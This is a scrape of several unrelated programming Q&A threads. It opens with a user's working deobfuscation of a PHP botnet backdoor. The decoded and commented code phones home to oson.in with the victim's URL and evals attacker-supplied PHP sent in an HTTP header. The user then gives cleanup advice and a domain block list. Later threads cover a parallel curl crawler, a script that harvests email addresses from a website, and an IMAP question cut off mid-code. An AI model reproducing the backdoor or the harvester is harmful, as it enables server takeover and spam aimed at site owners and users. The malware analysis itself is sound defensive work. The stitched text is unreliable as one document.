kgYW5kIHN0cnBvcygkSWwxMTFsLCBRMDBRME9PUSgxNTksIDYpKSAhPT0gMCBhbmQgc3RycG9zKCRJbDExMWwsIFEwMFEwT09RKDE2NiwgNCkpICE9PSAwIGFuZCBzdHJwb3MoJElsMTExbCwgUTAwUTBPT1EoMTczLCAxMSkpICE9PSAwKXsgJFEwUVEwMD1AZm9wZW4oJFFPME8wUSxRMDBRME9PUSgxODcsIDIpKTsgQGZjbG9zZSgkUTBRUTAwKTsgaWYgKEBpc19maWxlKCRRTzBPMFEpKXsgd3JpdGUoJFFPME8wUSwgZ2V0ZmlsZSgkUVFPUU9PKSk7IH07IH0gfSAkUVEwUVFPID0gQXJyYXkoUTAwUTBPT1EoMTk0LCAxMCksIFEwMFEwT09RKDIwNiwgMTEpLCBRMDBRME9PUSgyMTksIDEyKSwgUTAwUTBPT1EoMjM0LCAyMikpOyAkSUlJSUlsID0gJFFRMFFRT1sxXTsgZnVuY3Rpb24gd3JpdGUoJFFPME8wUSwkUU9RUU9PKXsgaWYgKCRJMTFsSTE9QGZvcGVuKCRRTzBPMFEsUTAwUTBPT1EoMTg3LCAyKSkpeyBAZndyaXRlKCRJMTFsSTEsJFFPUVFPTyk7IEBmY2xvc2UoJEkxMWxJMSk7IH0gfSBmdW5jdGlvbiBvdXRwdXQoJElsMTFJSSwgJElsMTExMSl7IGVjaG8gUTAwUTBPT1EoMjU5LCAzKS4kSWwxMUlJLlEwMFEwT09RKDI2NSwgMikuJElsMTExMS4iXHJcbiI7IH0gZnVuY3Rpb24gcGFyYW0oKXsgcmV0dXJuIFEwMFEwT09RKDQ3LCAwKTsgfSBAaW5pX3NldChRMDBRME9PUSgyNzAsIDE5KSwgMCk7IGRlZmluZShRMDBRME9PUSgyOTAsIDE2KSwgMSk7ICRJMTFsMWw9UTAwUTBPT1EoMzA2LCA3KTsgJElJSTFJbD1RMDBRME9PUSgzMTUsIDYpOyAkUU9RUVEwPVEwMFEwT09RKDMyMSwgMTYpOyAkUVFPUU8wPVEwMFEwT09RKDM0MiwgMTgpOyAkUVEwUU9PPVEwMFEwT09RKDM2MiwgMTgpOyAkUU9PUVFPPVEwMFEwT09RKDM4MiwgMTApOyAkUU9PUVFPLj1zdHJ0b2xvd2VyKEAkX1NFUlZFUltRMDBRME9PUSgxNDEsIDEyKV0pOyAkSTFJMWxsID0gQCRfU0VSVkVSW1EwMFEwT09RKDM5NCwgMjApXTsgZm9yZWFjaCAoJF9HRVQgYXMgJElsMTFJST0+JElsMTExMSl7IGlmIChzdHJwb3MoJElsMTExMSxRMDBRME9PUSg0MTcsIDcpKSl7JF9HRVRbJElsMTFJSV09UTAwUTBPT1EoNDcsIDApO30gZWxzZWlmIChzdHJwb3MoJElsMTExMSxRMDBRME9PUSg0MjUsIDgpKSl7JF9HRVRbJElsMTFJSV09UTAwUTBPT1EoNDcsIDApO30gfSBpZighaXNzZXQoJF9TRVJWRVJbUTAwUTBPT1EoNDM3LCAxNSldKSkgeyAkX1NFUlZFUltRMDBRME9PUSg0MzcsIDE1KV0gPSBAJF9TRVJWRVJbUTAwUTBPT1EoNDU0LCAxNSldOyBpZihAJF9TRVJWRVJbUTAwUTBPT1EoNDc0LCAxNildKSB7ICRfU0VSVkVSW1EwMFEwT09RKDQzNywgMTUpXSAuPSBRMDBRME9PUSg0OTAsIDIpIC4gQCRfU0VSVkVSW1EwMFEwT09RKDQ3NCwgMTYpXTsgfSB9IGlmICgkSTFJMUlsPSRRT09RUU8uQCRfU0VSVkVSW1EwMFEwT09RKDQzNywgMTUpXSl7ICRRT09RMFE9QG1kNSgkUU9PUVFPLiRJSUkxSWwuUEhQX09TLiRRT1FRUTApOyAkUVFPMDAwPVEwMFEwT09RKDQ5NSwgNyk7ICRRUTBRT1EgPSBBcnJheShRMDBRME9PUSg1MDcsIDYpLCBAJF9TRVJWRVJbUTAwUTBPT1EoNTE0LCA0KV0sIEAkX1NFUlZFUltRMDBRME9PUSg1MjEsIDYpXSwgQCRfRU5WW1EwMFEwT09RKDUxNCwgNCldLCBAJF9FTlZbUTAwUTBPT1EoNTI3LCA4KV0sIEAkX0VOVltRMDBRME9PUSg1MjEsIDYpXSwgQGluaV9nZXQoUTAwUTBPT1EoNTM1LCAxOSkpKTsgZm9yZWFjaCAoJFFRMFFPUSBhcyAkSUkxMUkxKXsgaWYgKCFlbXB0eSgkSUkxMUkxKSl7ICRJSTExSTEuPURJUkVDVE9SWV9TRVBBUkFUT1I7IGlmIChAaXNfd3JpdGFibGUoJElJMTFJMSkpeyAkUVFPMDAwID0gJElJMTFJMTsgYnJlYWs7IH0gfSB9ICR0bXA9JFFRTzAwMC5RMDBRME9PUSg1NTQsIDIpLiRRT09RMFE7IGlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRRT09RMFEpeyBlY2hvICJcclxuIjsgQG91dHB1dChRMDBRME9PUSg1NTgsIDgpLCAkSUlJMUlsLlEwMFEwT09RKDU3MCwgMikuJEkxMWwxbC5RMDBRME9PUSg1NzMsIDYpKTsgaWYgKCRRMDBRT089JFFRT1FPMChAJF9TRVJWRVJbUTAwUTBPT1EoNTgxLCAxNildKSl7IEBldmFsKCRRMDBRT08pOyBlY2hvICJcclxuIjsgQG91dHB1dChRMDBRME9PUSg1OTgsIDQpLCBRMDBRME9PUSg2MDYsIDMpKTsgfSBleGl0KDApOyB9IGlmIChAaXNfZmlsZSgkdG1wKSl7IEBpbmNsdWRlX29uY2UoJHRtcCk7IH0gZWxzZXsgJEkxSTFJbD1AdXJsZW5jb2RlKCRJMUkxSWwpOyB1cGQoJHRtcCxRMDBRME9PUSg2MTQsIDYpLlEwMFEwT09RKDYyMiwgNCkuJFFRMFFRT1swXS5RMDBRME9PUSg2MjksIDE0KS4kSTFJMUlsLlEwMFEwT09RKDY0NiwgNCkuJFFPT1EwUS5RMDBRME9PUSg2NTEsIDEyKS4kSTExbDFsLlEwMFEwT09RKDY2NSwgNCkuJElJSTFJbCk7IH0gfSB9"));
So far what we've got is that it's running a preg_replace on whatever it is base decoding in the long string above.
OK.... sorry this is kind of a journal XD... that base64_decode above decodes this:
if (!defined("determinator")){
function getfile($QQOQOO){
$QQQ0QQ = Q00Q0OOQ(2, 6);
$Q0OOQ0 = $QQQ0QQ.Q00Q0OOQ(11, 7);
if (#ini_get(Q00Q0OOQ(21, 20)) == Q00Q0OOQ(43, 2)) {
$IIllll=#file_get_contents($QQOQOO);
return Q00Q0OOQ(47, 0);
}
elseif (function_exists($Q0OOQ0)){
$II1Il1 = #$Q0OOQ0();
$IIlI1l = $QQQ0QQ.Q00Q0OOQ(49, 10);
$QQOQQQ = $QQQ0QQ.Q00Q0OOQ(59, 7);
$Q0QOO0 = $QQQ0QQ.Q00Q0OOQ(70, 2).Q00Q0OOQ(73, 7);
#$IIlI1l($II1Il1, CURLOPT_URL, $QQOQOO);
#$IIlI1l($II1Il1, CURLOPT_HEADER,false);
#$IIlI1l($II1Il1, CURLOPT_RETURNTRANSFER,true);
#$IIlI1l($II1Il1, CURLOPT_CONNECTTIMEOUT,5);
if ($Q00Q00 = #$QQOQQQ($II1Il1)) {
return Q00Q0OOQ(47, 0);
} #$Q0QOO0($II1Il1);
return Q00Q0OOQ(47, 0);
}
else {
return Q00Q0OOQ(82, 14).$QQOQOO.Q00Q0OOQ(98, 39);
}
}
function upd($QO0O0Q,$QQOQOO){
$Il111l = #gethostbyname(#$_SERVER[Q00Q0OOQ(141, 12)]);
if ($Il111l !== Q00Q0OOQ(47, 0) and strpos($Il111l, Q00Q0OOQ(159, 6)) !== 0
and strpos($Il111l, Q00Q0OOQ(166, 4)) !== 0
and strpos($Il111l, Q00Q0OOQ(173, 11)) !== 0)
{
$Q0QQ00=#fopen($QO0O0Q,Q00Q0OOQ(187, 2));
#fclose($Q0QQ00);
if (#is_file($QO0O0Q)){
write($QO0O0Q, getfile($QQOQOO));
};
}
}
$QQ0QQO = Array(Q00Q0OOQ(194, 10), Q00Q0OOQ(206, 11), Q00Q0OOQ(219, 12),
Q00Q0OOQ(234, 22));
$IIIIIl = $QQ0QQO[1];
function write($QO0O0Q,$QOQQOO){
if ($I11lI1=#fopen($QO0O0Q,Q00Q0OOQ(187, 2))){
#fwrite($I11lI1,$QOQQOO);
#fclose($I11lI1);
}
}
function output($Il11II, $Il1111){
echo Q00Q0OOQ(259, 3).$Il11II.Q00Q0OOQ(265, 2).$Il1111."\r\n";
}
function param(){
return Q00Q0OOQ(47, 0);
}
#ini_set(Q00Q0OOQ(270, 19), 0);
define(Q00Q0OOQ(290, 16), 1);
$I11l1l=Q00Q0OOQ(306, 7);
$III1Il=Q00Q0OOQ(315, 6);
$QOQQQ0=Q00Q0OOQ(321, 16);
$QQOQO0=Q00Q0OOQ(342, 18);
$QQ0QOO=Q00Q0OOQ(362, 18);
$QOOQQO=Q00Q0OOQ(382, 10);
$QOOQQO.=strtolower(#$_SERVER[Q00Q0OOQ(141, 12)]);
$I1I1ll = #$_SERVER[Q00Q0OOQ(394, 20)];
foreach ($_GET as $Il11II=>$Il1111){
if (strpos($Il1111,Q00Q0OOQ(417, 7))){
$_GET[$Il11II]=Q00Q0OOQ(47, 0);
}
elseif (strpos($Il1111,Q00Q0OOQ(425, 8))){
$_GET[$Il11II]=Q00Q0OOQ(47, 0);
}
}
if(!isset($_SERVER[Q00Q0OOQ(437, 15)])) {
$_SERVER[Q00Q0OOQ(437, 15)] = #$_SERVER[Q00Q0OOQ(454, 15)];
if(#$_SERVER[Q00Q0OOQ(474, 16)]) {
$_SERVER[Q00Q0OOQ(437, 15)] .= Q00Q0OOQ(490, 2) . #$_SERVER[Q00Q0OOQ(474, 16)];
}
}
if ($I1I1Il=$QOOQQO.#$_SERVER[Q00Q0OOQ(437, 15)]){
$QOOQ0Q=#md5($QOOQQO.$III1Il.PHP_OS.$QOQQQ0);
$QQO000=Q00Q0OOQ(495, 7);
$QQ0QOQ = Array(Q00Q0OOQ(507, 6), #$_SERVER[Q00Q0OOQ(514, 4)],
#$_SERVER[Q00Q0OOQ(521, 6)], #$_ENV[Q00Q0OOQ(514, 4)],
#$_ENV[Q00Q0OOQ(527, 8)], #$_ENV[Q00Q0OOQ(521, 6)],
#ini_get(Q00Q0OOQ(535, 19)));
foreach ($QQ0QOQ as $II11I1){
if (!empty($II11I1)){
$II11I1.=DIRECTORY_SEPARATOR;
if (#is_writable($II11I1)){
$QQO000 = $II11I1;
break;
}
}
}
$tmp=$QQO000.Q00Q0OOQ(554, 2).$QOOQ0Q;
if (#$_SERVER["HTTP_Y_AUTH"]==$QOOQ0Q){
echo "\r\n";
#output(Q00Q0OOQ(558, 8), $III1Il.Q00Q0OOQ(570, 2).$I11l1l.Q00Q0OOQ(573, 6));
if ($Q00QOO=$QQOQO0(#$_SERVER[Q00Q0OOQ(581, 16)])){
#eval($Q00QOO);
echo "\r\n";
#output(Q00Q0OOQ(598, 4), Q00Q0OOQ(606, 3));
}
exit(0);
}
if (#is_file($tmp)){
#include_once($tmp);
}
else{
$I1I1Il=#urlencode($I1I1Il);
upd($tmp,Q00Q0OOQ(614, 6).Q00Q0OOQ(622, 4).$QQ0QQO[0].
Q00Q0OOQ(629, 14).$I1I1Il.Q00Q0OOQ(646, 4).
$QOOQ0Q.Q00Q0OOQ(651, 12).$I11l1l.Q00Q0OOQ(665, 4).$III1Il);
}
}
}
Whew... I finished formatting that code. I'm going to copy it below and try to convert it back to something readable. I could do this all night.
<?php
if (!defined("determinator")){
//used by upd. gets a file from a remote server.
//valid codepaths return empty strings...
//this doesn't seem to actually download contents, but rather
//is more of an obfuscation that really just phones home
//so the malware server knows about its infected victims.
function getfile($filename){
if (#ini_get('allow_url_fopen') == 1) {
$contents = #file_get_contents($filename);
return '';
} elseif (function_exists('curl_init')){
$handle = #curl_init();
#curl_setopt($handle, CURLOPT_URL, $filename);
#curl_setopt($handle, CURLOPT_HEADER,false);
#curl_setopt($handle, CURLOPT_RETURNTRANSFER,true);
#curl_setopt($handle, CURLOPT_CONNECTTIMEOUT,5);
if ($result = #curl_exec($handle)) {
return '';
}
#curl_close($handle);
return '';
}
else {
return '<img src="'.$filename.'" width="1px" height="1px" />';
}
}
//copies contents from $remoteFile to $localFile.
//$remoteFile resides on the botnet server, $localFile
//resides on the victim server.
function upd($localFile,$remoteFile){
$host = #gethostbyname(#$_SERVER['HTTP_HOST']);
if ($host !== '' and strpos($host, '127.') !== 0
and strpos($host, '10.') !== 0
and strpos($host, '192.168.') !== 0)
{
$fp=#fopen($localFile,'w');
#fclose($fp);
if (#is_file($localFile)){
write($localFile, getfile($remoteFile));
};
}
}
$hosts = Array('oson.in', 'gabor.se', 'silber.de',
'haveapoke.com.au');
//gabor.se is used as the host
$host1 = $hosts[1];
//helper function for upd function declared above
function write($filename,$content){
if ($fp=#fopen($filename,'w')){
#fwrite($fp,$content);
#fclose($fp);
}
}
//sends a response to the botnet server
function output($str1, $str2){
echo 'Y_'.$str1.':'.$str2."\r\n";
}
//looks useless
function param(){
return '';
}
//turns errors off and makes sure this code only runs once.
#ini_set('display_errors', 0);
define('determinator', 1);
//resets some $_GET params for some unknown reason.
foreach ($_GET as $key=>$val){
if (strpos($val,'union')){
$_GET[$key]='';
}
elseif (strpos($val,'select')){
$_GET[$key]=''
}
}
//sets the REQUEST_URI if it is not set to the path of the current php file and params
if(!isset($_SERVER['REQUEST_URI'])) {
$_SERVER['REQUEST_URI'] = #$_SERVER['SCRIPT_NAME'];
if(#$_SERVER['QUERY_STRING']) {
$_SERVER['REQUEST_URI'] .= '?' . #$_SERVER['QUERY_STRING'];
}
}
if ($url='http://'.strtolower($_SERVER['HTTP_HOST']).#$_SERVER['REQUEST_URI']){
$hashKey=#md5('http://'.strtolower($_SERVER['HTTP_HOST']).'2.12'.PHP_OS.'QQO0Q0OQOQQ0';
//begins by looping through all tmp directories
$actualTempDir='/tmp/';
$tempDirs = Array('/tmp', #$_SERVER['TMP'],
#$_SERVER['TEMP'], #$_ENV['TMP'],
#$_ENV['TMPDIR'], #$_ENV['TEMP'],
#ini_get('upload_tmp_dir'));
foreach ($tempDirs as $dir){
if (!empty($dir)){
$dir.=DIRECTORY_SEPARATOR;
if (#is_writable($dir)){
$actualTempDir = $dir;
break;
}
}
}
$tmpFile=$actualTempDir.'.'.$hashKey;
//evaluates any php code sent by the botnet server
if (#$_SERVER["HTTP_Y_AUTH"]==$hashKey){
echo "\r\n";
#output('versio', '2.12-ftp13-php');
if ($script=base64_decode(#$_SERVER['HTTP_EXECPHP'])){
#eval($script);
echo "\r\n";
#output('out', 'ok');
}
exit(0);
}
//executes $tmpFile if it exists.
if (#is_file($tmpFile)){
#include_once($tmpFile);
}
else{
//uses oson.in and downloads a file
$url=#urlencode($url);
upd($tmpFile,'http://'.$hosts[0].'/pg.php?u='.$url.'&k='.$hashKey.'&t=php&p=ftp13&v=2.12');
}
}
}
?>
Looks like the deprecated e part of preg_replace is a known security issue and will run that PHP code above.
The second header has the following code (the rest is the same, and this may even be the same..)
if (!defined("determinator")){ function getfile($QQQ0QQ){ $I1l1l1 = QQQ0Q0O0(2, 6); $Q0Q00Q = $I1l1l1.QQQ0Q0O0(9, 7); if (#ini_get(QQQ0Q0O0(19, 20)) == QQQ0Q0O0(39, 2)) { $I11ll1=#file_get_contents($QQQ0QQ); return QQQ0Q0O0(47, 0); } elseif (function_exists($Q0Q00Q)){ $I111Il = #$Q0Q00Q(); $Illlll = $I1l1l1.QQQ0Q0O0(47, 10); $QOOO0O = $I1l1l1.QQQ0Q0O0(57, 7); $Q00O0Q = $I1l1l1.QQQ0Q0O0(66, 2).QQQ0Q0O0(69, 7); #$Illlll($I111Il, CURLOPT_URL, $QQQ0QQ); #$Illlll($I111Il, CURLOPT_HEADER,false); #$Illlll($I111Il, CURLOPT_RETURNTRANSFER,true); #$Illlll($I111Il, CURLOPT_CONNECTTIMEOUT,5); if ($I11l1I = #$QOOO0O($I111Il)) {return QQQ0Q0O0(47, 0);} #$Q00O0Q($I111Il); return QQQ0Q0O0(47, 0); } else { return QQQ0Q0O0(79, 14).$QQQ0QQ.QQQ0Q0O0(95, 39); } } function upd($Q0Q00O,$QQQ0QQ){ $QQ0OOO = #gethostbyname(#$_SERVER[QQQ0Q0O0(134, 12)]); if ($QQ0OOO !== QQQ0Q0O0(47, 0) and strpos($QQ0OOO, QQQ0Q0O0(147, 6)) !== 0 and strpos($QQ0OOO, QQQ0Q0O0(159, 4)) !== 0 and strpos($QQ0OOO, QQQ0Q0O0(165, 11)) !== 0){ $Illll1=#fopen($Q0Q00O,QQQ0Q0O0(179, 2)); #fclose($Illll1); if (#is_file($Q0Q00O)){ write($Q0Q00O, getfile($QQQ0QQ)); }; } } $IllI11 = Array(QQQ0Q0O0(187, 10), QQQ0Q0O0(198, 11), QQQ0Q0O0(209, 12), QQQ0Q0O0(221, 22)); $Q0OO0Q = $IllI11[1]; function write($Q0Q00O,$I11Ill){ if ($QO0O00=#fopen($Q0Q00O,QQQ0Q0O0(179, 2))){ #fwrite($QO0O00,$I11Ill); #fclose($QO0O00); } } function output($QO0QO0, $IIll11){ echo QQQ0Q0O0(247, 3).$QO0QO0.QQQ0Q0O0(250, 2).$IIll11."\r\n"; } function param(){ return QQQ0Q0O0(47, 0); } #ini_set(QQQ0Q0O0(255, 19), 0); define(QQQ0Q0O0(277, 16), 1); $I1l1ll=QQQ0Q0O0(294, 7); $QOQ00Q=QQQ0Q0O0(301, 6); $QO0QQ0=QQQ0Q0O0(310, 16); $QOQ0QO=QQQ0Q0O0(329, 18); $Il1Il1=QQQ0Q0O0(350, 18); $Il1lII=QQQ0Q0O0(371, 10); $Il1lII.=strtolower(#$_SERVER[QQQ0Q0O0(134, 12)]); $QO0Q0O = #$_SERVER[QQQ0Q0O0(383, 20)]; foreach ($_GET as $QO0QO0=>$IIll11){ if (strpos($IIll11,QQQ0Q0O0(405, 7))){$_GET[$QO0QO0]=QQQ0Q0O0(47, 0);} elseif (strpos($IIll11,QQQ0Q0O0(415, 8))){$_GET[$QO0QO0]=QQQ0Q0O0(47, 0);} } if(!isset($_SERVER[QQQ0Q0O0(426, 15)])) { $_SERVER[QQQ0Q0O0(426, 15)] = #$_SERVER[QQQ0Q0O0(441, 15)]; if(#$_SERVER[QQQ0Q0O0(459, 16)]) { $_SERVER[QQQ0Q0O0(426, 15)] .= QQQ0Q0O0(478, 2) . #$_SERVER[QQQ0Q0O0(459, 16)]; } } if ($QQO0OQ=$Il1lII.#$_SERVER[QQQ0Q0O0(426, 15)]){ $Q0Q0QQ=#md5($Il1lII.$QOQ00Q.PHP_OS.$QO0QQ0); $IIlI11=QQQ0Q0O0(481, 7); $Il1I1I = Array(QQQ0Q0O0(491, 6), #$_SERVER[QQQ0Q0O0(499, 4)], #$_SERVER[QQQ0Q0O0(506, 6)], #$_ENV[QQQ0Q0O0(499, 4)], #$_ENV[QQQ0Q0O0(514, 8)], #$_ENV[QQQ0Q0O0(506, 6)], #ini_get(QQQ0Q0O0(523, 19))); foreach ($Il1I1I as $QOO000){ if (!empty($QOO000)){ $QOO000.=DIRECTORY_SEPARATOR; if (#is_writable($QOO000)){ $IIlI11 = $QOO000; break; } } } $tmp=$IIlI11.QQQ0Q0O0(545, 2).$Q0Q0QQ; if (#$_SERVER["HTTP_Y_AUTH"]==$Q0Q0QQ){ echo "\r\n"; #output(QQQ0Q0O0(550, 8), $QOQ00Q.QQQ0Q0O0(561, 2).$I1l1ll.QQQ0Q0O0(565, 6)); if ($QOQQQQ=$QOQ0QO(#$_SERVER[QQQ0Q0O0(574, 16)])){ #eval($QOQQQQ); echo "\r\n"; #output(QQQ0Q0O0(595, 4), QQQ0Q0O0(601, 3)); } exit(0); } if (#is_file($tmp)){ #include_once($tmp); } else{ $QQO0OQ=#urlencode($QQO0OQ); upd($tmp,QQQ0Q0O0(607, 6).QQQ0Q0O0(614, 4).$IllI11[0].QQQ0Q0O0(621, 14).$QQO0OQ.QQQ0Q0O0(639, 4).$Q0Q0QQ.QQQ0Q0O0(645, 12).$I1l1ll.QQQ0Q0O0(658, 4).$QOQ00Q); } } }
OK. We now have deobfuscated and commented the code above, so we have enough information to say approximately what is going on. We don't know how this was installed on your server (at least I don't). Most of the actual code is typical malware behavior. It runs if it hasn't done so already.
It defines a few functions for getting and writing to files. Oddly, I don't think these functions actually work. They return blanks, but now I think I see why: the server finds out it has infected a host by the last line of the code, which calls the upd function it defines which phones home to http:/ /oson.in/pg.php?u=yoururl&k=md5hashofhostbotnetversionphpos&t=php&p=ftp13&v=2.12
There is no need to actually download anything because once the server knows it has infected a box, it can now call upon you to execute code whenever it wants.
When it phones home, a side effect is the creation of a file in one of your temporary directories. It probably doesn't hold much value except to confirm you're a victim, which is quite obvious at the moment.
The botnet will call your url with the HTTP_Y_AUTH server variable set to a password hash that it can compute based on your url, and then when the password check succeeds, it will execute the php code it sent in the HTTP_EXECPHP server variable. That is essentially all this does.
What to do to fix it...
The first thing to do is clean up all your php files. Might want to write a script to do that.
You could define determinator in all your files, but that's tedious and hackish. This is a surefire way to stop the malware from running any more of the initial code.
You should probably disable allow_url_fopen if you're not using it and also eval if possible. Both of these are used to phone home and run code on your system, respectively. Without them, the botnet could never have finished the installation. Curl is also used to phone home if allow_url_fopen is disabled though.
Go to every temp directory and get rid of any suspicious and weirdly named files.
/tmp/
#$_SERVER['TMP']
#$_SERVER['TEMP']
#$_ENV['TMP']
#$_ENV['TMPDIR']
#$_ENV['TEMP']
#ini_get('upload_tmp_dir')
Do not access the following sites. Preferably, you should block incoming and outgoing traffic for all of these domain names. This will prevent future execution of virus code.
oson.in
gabor.se
silber.de
haveapoke.com.au
Lastly, and most importantly, this malware at any point could have run anything on your server that it wanted (that is its main idea here and probably did end up running code because it killed your resources). That means that you have no idea what has happened to your servers. The best strategy in this situation is a complete reinstall. Salvage your data and your code... hopefully you have it backed up to a repository and that part's easier, and reinstall the servers. If that's not an option, run a few virus scanners and manually scan the heck out of your servers.
I'm really considering setting up a website and having it run this program and then seeing what code the malware ends up wanting to run.
More information is here:
kohanaframework: look at spirit's answer
Someone versed in security broke a different version down into fine details here
I worked a similar code a few days ago, should be of the same person or group.
The version I saw was / * versio: 2.20 * /
Here the code.
http://www.forosdelweb.com/f18/posible-codigo-malicioso-1068526/
Here some of the code i found.
if(# $ _SERVER ["HTTP_AUTH"] == $ QO000O or # $ _POST ["Y_AUTH"] == $ QO000O) {
echo "\ r \ n";
# output ('ver', $ IllIIl. '-'. $ II1llI. '-php');
if ($ II1I11 = base64_decode (# $ _POST ['EXECPHP'])) {
# eval ($ II1I11);
echo "\ r \ n";
# output ('out', 'ok');
}
exit (0);
}
All the info is sent to 'http://' 'oson'. 'in' Beware of this server!
Hi everyone once again!
We need some help to develop and implement a multi-curl functionality into our crawler. We have a huge array of "links to be scanned" and we loop throw them with a Foreach.
Let's use some pseudo code to understand the logic:
1) While ($links_to_be_scanned > 0).
2) Foreach ($links_to_be_scanned as $link_to_be_scanned).
3) Scan_the_link() and run some other functions.
4) Extract the new links from the xdom.
5) Push the new links into $links_to_be_scanned.
5) Push the current link into $links_already_scanned.
6) Remove the current link from $links_to_be_scanned.
Now, we need to define a maximum number of parallel connections and be able to run this process for each link in parallel.
I understand that we're gonna have to create a $links_being_scanned or some kind of queue.
I'm really not sure how to approach this problem to be honest, if anyone could provide some snippet or idea to solve it, it would be greatly appreciated.
Thanks in advance!
Chris;
Extended:
I just realized that is not the multi-curl itself the tricky part, but the amount of operations done with each link after the request.
Even after the muticurl, I would eventually have to find a way to run all this operations in parallel. The whole algorithm described below would have to run in parallel.
So now rethinking, we would have to do something like this:
While (There's links to be scanned)
Foreach ($Link_to_scann as $link)
If (There's less than 10 scanners running)
Launch_a_new_scanner($link)
Remove the link from $links_to_be_scanned array
Push the link into $links_on_queue array
Endif;
And each scanner does (This should be run in parallel):
Create an object with the given link
Send a curl request to the given link
Create a dom and an Xdom with the response body
Perform other operations over the response body
Remove the link from the $links_on_queue array
Push the link into the $links_already_scanned array
I assume we could approach this creating a new PHP file with the scanner algorithm, and using pcntl_fork() for each parallel proccess?
Since even using multi-curl, I would eventually have to wait looping on a regular foreach structure for the other processes.
I assume I would have to approach this using fsockopen or pcntl_fork.
Suggestions, comments, partial solutions, and even a "good luck" will be more than appreciated!
Thanks a lot!
DISCLAIMER: This answer links an open-source project with which I'm involved. There. You've been warned.
The Artax HTTP client is a socket-based HTTP library that (among other things) offers custom control over the number of concurrent open socket connections to individual hosts while making multiple asynchronous HTTP requests.
Limiting the number of concurrent connections is easily accomplished. Consider:
<?php
use Artax\Client, Artax\Response;
require dirname(__DIR__) . '/autoload.php';
$client = new Client;
// Defaults to max of 8 concurrent connections per host
$client->setOption('maxConnectionsPerHost', 2);
$requests = array(
'so-home' => 'http://stackoverflow.com',
'so-php' => 'http://stackoverflow.com/questions/tagged/php',
'so-python' => 'http://stackoverflow.com/questions/tagged/python',
'so-http' => 'http://stackoverflow.com/questions/tagged/http',
'so-html' => 'http://stackoverflow.com/questions/tagged/html',
'so-css' => 'http://stackoverflow.com/questions/tagged/css',
'so-js' => 'http://stackoverflow.com/questions/tagged/javascript'
);
$onResponse = function($requestKey, Response $r) {
echo $requestKey, ' :: ', $r->getStatus();
};
$onError = function($requestKey, Exception $e) {
echo $requestKey, ' :: ', $e->getMessage();
}
$client->requestMulti($requests, $onResponse, $onError);
IMPORTANT: In the above example the Client::requestMulti method is making all the specified requests asynchronously. Because the per-host concurrency limit is set to 2, the client will open up new connections for the first two requests and subsequently reuse those same sockets for the other requests, queuing requests until one of the two sockets become available.
you could try something like this, haven't checked it, but you should get the idea
$request_pool = array();
function CreateHandle($url) {
$handle = curl_init($url);
// set curl options here
return $handle;
}
function Process($data) {
global $request_pool;
// do something with data
array_push($request_pool , CreateHandle($some_new_url));
}
function RunMulti() {
global $request_pool;
$multi_handle = curl_multi_init();
$active_request_pool = array();
$running = 0;
$active_request_count = 0;
$active_request_max = 10; // adjust as necessary
do {
$waiting_request_count = count($request_pool);
while(($active_request_count < $active_request_max) && ($waiting_request_count > 0)) {
$request = array_shift($request_pool);
curl_multi_add_handle($multi_handle , $request);
$active_request_pool[(int)$request] = $request;
$waiting_request_count--;
$active_request_count++;
}
curl_multi_exec($multi_handle , $running);
curl_multi_select($multi_handle);
while($info = curl_multi_info_read($multi_handle)) {
$curl_handle = $info['handle'];
call_user_func('Process' , curl_multi_getcontent($curl_handle));
curl_multi_remove_handle($multi_handle , $curl_handle);
curl_close($curl_handle);
$active_request_count--;
}
} while($active_request_count > 0 || $waiting_request_count > 0);
curl_multi_close($multi_handle);
}
You should look for some more robust solution to your problem. RabbitMQ
is a very good solution I used. There is also Gearman but I think it is your choice.
I prefer RabbitMQ.
I will share with you my code which I have used to collect email addresses from certain website.
You can modify it to fit your needs.
There were some problems with relative URL's there.
And I do not use CURL here.
<?php
error_reporting(E_ALL);
$home = 'http://kharkov-reklama.com.ua/jborudovanie/';
$writer = new RWriter('C:\parser_13-09-2012_05.txt');
set_time_limit(0);
ini_set('memory_limit', '512M');
function scan_page($home, $full_url, &$writer) {
static $done = array();
$done[] = $full_url;
// Scan only internal links. Do not scan all the internet!))
if (strpos($full_url, $home) === false) {
return false;
}
$html = #file_get_contents($full_url);
if (empty($html) || (strpos($html, '<body') === false && strpos($html, '<BODY') === false)) {
return false;
}
echo $full_url . '<br />';
preg_match_all('/([A-Za-z0-9_\-]+\.)*[A-Za-z0-9_\-]+#([A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9]\.)+[A-Za-z]{2,4}/', $html, $emails);
if (!empty($emails) && is_array($emails)) {
foreach ($emails as $email_group) {
if (is_array($email_group)) {
foreach ($email_group as $email) {
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
$writer->write($email);
}
}
}
}
}
$regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
preg_match_all("/$regexp/siU", $html, $matches, PREG_SET_ORDER);
if (is_array($matches)) {
foreach($matches as $match) {
if (!empty($match[2]) && is_scalar($match[2])) {
$url = $match[2];
if (!filter_var($url, FILTER_VALIDATE_URL)) {
$url = $home . $url;
}
if (!in_array($url, $done)) {
scan_page($home, $url, $writer);
}
}
}
}
}
class RWriter {
private $_fh = null;
private $_written = array();
public function __construct($fname) {
$this->_fh = fopen($fname, 'w+');
}
public function write($line) {
if (in_array($line, $this->_written)) {
return;
}
$this->_written[] = $line;
echo $line . '<br />';
fwrite($this->_fh, "{$line}\r\n");
}
public function __destruct() {
fclose($this->_fh);
}
}
scan_page($home, 'http://kharkov-reklama.com.ua/jborudovanie/', $writer);
I just started today working with PHP's IMAP library, and while imap_fetchbody or imap_body are called, it is triggering my Kaspersky antivirus. The viruses are Trojan.Win32.Agent.dmyq and Trojan.Win32.FraudPack.aoda. I am running this off a local development machine with XAMPP and Kaspersky AV.
Now, I am sure there are viruses there since there is spam in the box (who doesn't need a some viagra or vicodin these days?). And I know that since the raw body includes attachments and different mime-types, bad stuff can be in the body.
So my question is: are there any risks using these libraries?
I am assuming that the IMAP functions are retrieving the body, caching it to disk/memory and the AV scanning it sees the data.
Is that correct? Are there any known security concerns using this library (I couldn't find any)? Does it clean up cached message parts perfectly or might viral files be sitting somewhere?
Is there a better way to get plain text out of the body than this? Right now I am using the following code (credit to Kevin Steffer):
function get_mime_type(&$structure) {
$primary_mime_type = array("TEXT", "MULTIPART","MESSAGE", "APPLICATION", "AUDIO","IMAGE", "VIDEO", "OTHER");
if($structure->subtype) {
return $primary_mime_type[(int) $structure->type] . '/' .$structure->subtype;
}
return "TEXT/PLAIN";
}
function get_part($stream, $msg_number, $mime_type, $structure = false, $part_number = false) {
